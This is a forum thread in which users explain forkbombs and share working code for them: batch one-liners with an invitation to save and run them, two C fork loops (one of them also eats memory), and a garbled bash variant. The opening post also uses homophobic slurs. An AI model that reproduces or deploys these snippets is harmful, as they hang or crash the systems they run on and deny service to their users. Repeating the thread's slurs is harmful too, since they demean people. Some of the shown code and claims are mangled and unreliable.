Closed Thread
Results 1 to 7 of 7

Thread: Forkbomb

  1. #1

    Forkbomb

    So, for the sake of a decent argument, here's the idea:

    One process spawns another process, which in turn spawns another, that one spawns another, infinitely looping that pattern. The catch is, none of those parent processes stop, they keep looping as well. So that first process keeps spitting out children, those children keep spitting out grandchildren, etc.

    This is called a forkbomb. It exploits a feature of modern computer systems called Forking (the process by which one process creates another). Forking is actually really useful for application design, its just when it goes unmonitored that it might end up being an issue.

    So, the code.

    For the sake of all you batch loving faggots out there, there are these two gems:

    :s
    START %0
    GOTO:s
    and

    %0|%0
    save either of those as 'mygayforking.bat' and run it. Probably wont crash the system, but you'll get some funny errors.

    Now on to some more, real, code.

    #include <stdlib.h>
    #include <unistd.h>

    int main(void) {
    int *x;

    while (1) {
    fork();
    /* Allocate the memory to a pointer to int */
    x = (int *) malloc(sizeof(int) * 1048576);
    /* Try and use the newly allocated memory */
    *x = 0;
    }

    return EXIT_SUCCESS;
    }
    Thats C source, but it might only be applicable to POSIX though.

  2. #2
    Just out of memory in the 2.4 kernel there line that will kill the box some thing like
    :;';';';

  3. #3
    yeah, the Bash ones were pretty interesting

  4. #4
    old news ? Forking can bring a system to its knees any day of the week. Especially if you manage to inject on into a running processes' memory.

  5. #5
    haha, gotta love forking. i recently did the "0% | 0%" then saving it as a .bat a few weeks ago. it fucked up my vista, but not XP, strange.

    for Unix based OSes (Mac, Linux, but not Windows):
    "){ :|:& };:"

    Some C coding:
    "#include <unistd.h>

    int main(int argc, char* args[])
    {
    while(1)
    fork();
    return 0;
    } "

    But "fork()" is not a recognized by Windows and probably will never be. hmmm, funny you brought up forkbombing

  6. #6
    why's that funny ? I said POSIX compatible, Windows isnt POSIX compatible. Plus, I don't code for the Windows API.

  7. #7

Closed Thread

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

     

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts